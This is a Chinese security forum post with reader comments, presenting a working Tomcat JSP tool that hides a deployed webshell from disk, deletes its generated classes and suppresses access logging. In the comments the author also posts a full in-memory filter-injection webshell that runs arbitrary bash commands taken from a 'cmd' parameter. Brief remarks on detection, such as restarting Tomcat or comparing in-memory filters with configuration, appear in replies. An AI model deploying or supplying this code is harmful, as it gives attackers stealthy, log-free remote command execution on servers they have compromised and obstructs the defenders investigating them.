Tomcat 源代码调试

Tomcat 源代码调试 - 看不见的 Shell 第二式之隐藏任意 Jsp 文件

原创文章 ,首发作者公众号 n1nty-talks 与 ThreatHunter,转载请注明版权!! 原理分析大家看我公众号文章吧:

Tomcat 源代码调试 - 看不见的 Shell 第二式之隐藏任意 Jsp 文件

被隐藏的 shell 必须要先访问一次。比如想隐藏 jspspy.jsp,则要先访问一次它。其实也不是必要的,只不过我太懒。直接看代码吧。 以下代码在 Tomcat 7 与 Tomcat 8 下测试通过。

<%@page import="java.awt.SystemColor"%>
<%@page import="org.apache.jasper.JspCompilationContext"%>
<%@page import="java.io.File"%>
<%@page import="java.util.Map"%>
<%@page import="org.apache.jasper.EmbeddedServletOptions"%>
<%@page import="org.apache.jasper.compiler.JspRuntimeContext"%>
<%@page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@page import="org.apache.catalina.valves.AccessLogValve"%>
<%@page import="org.apache.catalina.AccessLog"%>
<%@page import="org.apache.catalina.core.AccessLogAdapter"%>
<%@page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ page import="java.lang.reflect.*" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Hideshell.jsp by n1nty</title>
</head>
<body>
<%!
public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception {
        Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes);
        m.setAccessible(true);
        return m.invoke(obj, args);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        return f.get(obj);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
}
public static String makeHiddenName(String wrapperName) {
        int lastIndex = wrapperName.lastIndexOf('/');
        return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1);
}
public static boolean isHiddenJsp(ServletRequest request, JspServletWrapper wrapper) {
        JspCompilationContext ctxt = wrapper.getJspEngineContext();
        if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists()) {
                return true;
        }
        
        return  false;
}
public static void nolog(HttpServletRequest request) throws Exception {
        ServletContext ctx = request.getSession().getServletContext();
        ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context");
        StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context");
        
        StandardHost host = (StandardHost)standardCtx.getParent();
        AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog();
        
        AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs");
        for(AccessLog log:logs) {
                AccessLogValve logV = (AccessLogValve)log;
                String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition();
                logV.setCondition(condition);
                request.setAttribute(condition, "n1nty_nolog");
        }
}
%>
<ul>
<%

nolog(request);

Object r = getFieldValue(request, "request");
Object filterChain = getFieldValue(r, "filterChain");
Object servlet = getFieldValue(filterChain, "servlet");
JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt");

String action = request.getParameter("action");



ServletContext servletContext = request.getServletContext();


if (action == null || action.equals("list")) {
        Map<String, JspServletWrapper> jsps = (Map<String, JspServletWrapper>)getFieldValue(jctxt, "jsps");
        for (Map.Entry<String, JspServletWrapper> entry : jsps.entrySet()) {
                JspServletWrapper wrapper = entry.getValue();
                %>
                <li>
                <a href='?action=hide&wrapperName=<%=entry.getKey() %>'>Hide <%=entry.getKey() %></a> 
                <%
                if (isHiddenJsp(request, wrapper)) {
                        %>
                        possible hidden file,  <a href='?action=delete&wrapperName=<%=entry.getKey() %>'> Delete </a>
                        <%
                }
                %>
                </li>
                <%
        }
} else if (action.equals("hide")) {
        String wrapperName = request.getParameter("wrapperName");
        String hiddenWrapperName = makeHiddenName(wrapperName);
        if (jctxt.getWrapper(hiddenWrapperName) == null) {
                JspServletWrapper wrapper = jctxt.getWrapper(wrapperName);
                
                wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
                JspCompilationContext ctxt = wrapper.getJspEngineContext();
                EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
                if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
                        setFieldValue(jspServletOptions, "modificationTestInterval", 1);      
                }
                
                wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles();
                
                jctxt.addWrapper(hiddenWrapperName, wrapper);
                jctxt.removeWrapper(wrapperName);
                
                new File(servletContext.getRealPath(wrapperName)).delete();
        }
        out.println("done");
}  else if (action.equals("delete")) {
        String wrapperName = request.getParameter("wrapperName");
        jctxt.removeWrapper(wrapperName);
        out.println("done");
        
}
%>
</ul>
</body>
</html>

欢迎关注我的公众号: WechatIMG311.jpeg

@n1nty n1nty-talks的公众号二维码顺带发出来啊,让大家有兴趣的关注下。

n1nty 要重出江湖,一统java江上了啊😁

又学习到新姿势了。^_^

@n1nty 要是自己中招了,除了看日志还能怎么排查呢?特别是第一式

在一个struts环境下试了试,运行不起来,是不是只适合普通环境?

@zhouliu 第一式是插过滤器或者 valve。 写一段代码看一下内存中的过滤器或 valve 与 配置中的过滤器与 valve 是否一样就可以。或者中招了先重启 tomcat , 这些都是更改运行时内存对象的机制,一重启就全失效了。

@ghostman 运行不起来具体是指什么?我没在框架下测试过。

access log 能同时做到无痕吗?

@cunlin 这个 hideshell.jsp 本身在 tomcat 默认的日志配置下是无痕的,但是被它隐藏的 shell 不是,不过可以做到,下一篇公众号文章会讲一下。

@n1nty 再怎么影藏,还是摆脱不了一些中间负载均衡上面的log,而且现在全流量设备基本上都能捕获。

@iswin 确实是这样啊,这些东西无法避免啊。

@n1nty 没有报错信息,打开直接被网站设计的error页面接管了,我觉着可能是web环境的问题吧~ 不管怎样还是谢谢n1nty,当年的spy三剑客真好用~

这个确实强

有个地方不太懂,在满足isoutdate两个条件后面这句wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles();有什么作用呢?

@yb2pin 删掉由 jsp 生成的 .java 和编译出来的 class 文件

嗯嗯,第一篇里利用过滤器的shell放在tomcat7里这几处会报错image.png,:)如果想在tomcat7上运行,有什么替代方法吗

@yb2pin

我直接贴在下面吧,其实你直接把代码贴到 IDE 里面,然后根据 IDE 的错误提示来修正代码就可以了。


<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.deploy.FilterDef"%>
<%@ page import="org.apache.catalina.deploy.FilterMap"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "n1ntyfilter";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);


f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
        out.println("inject "+ name);
        
        Filter filter = new Filter() {
                @Override
                public void init(FilterConfig arg0) throws ServletException {
                        // TODO Auto-generated method stub
                }
                
                @Override
                public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
                                throws IOException, ServletException {
                        // TODO Auto-generated method stub
                        HttpServletRequest req = (HttpServletRequest)arg0;
                        if (req.getParameter("cmd") != null) {
                                byte[] data = new byte[1024];
                                Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
                                int len = p.getInputStream().read(data);
                                p.destroy();
                                arg1.getWriter().write(new String(data, 0, len));
                                return;
                        } 
                        arg2.doFilter(arg0, arg1);
                }
                
                @Override
                public void destroy() {
                        // TODO Auto-generated method stub
                }
        };
        
        FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
    
    standardCtx.addFilterDef(filterDef);
        
        FilterMap m = new FilterMap();
        m.setFilterName(filterDef.getFilterName());
        m.setDispatcher(DispatcherType.REQUEST.name());
        m.addURLPattern("/*");
        
        
        standardCtx.addFilterMapBefore(m);
        
        
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
        
        
    filterConfigs.put(name, filterConfig);
    
    out.println("injected");
}
%>
</body>
</html>

添加回复

为您推荐了相关的技术文章:

  1. BlackHat 2016 回顾之 JNDI 注入简单解析
  2. 漏洞检测的那些事儿 - 从理论到实战
  3. 利用 Python 特性在 Jinja2 模板中执行任意代码
  4. 从反序列化到命令执行 - Java 中的 POP 执行链
  5. 服务端模板注入攻击 (SSTI) 之浅析

原文链接: threathunter.org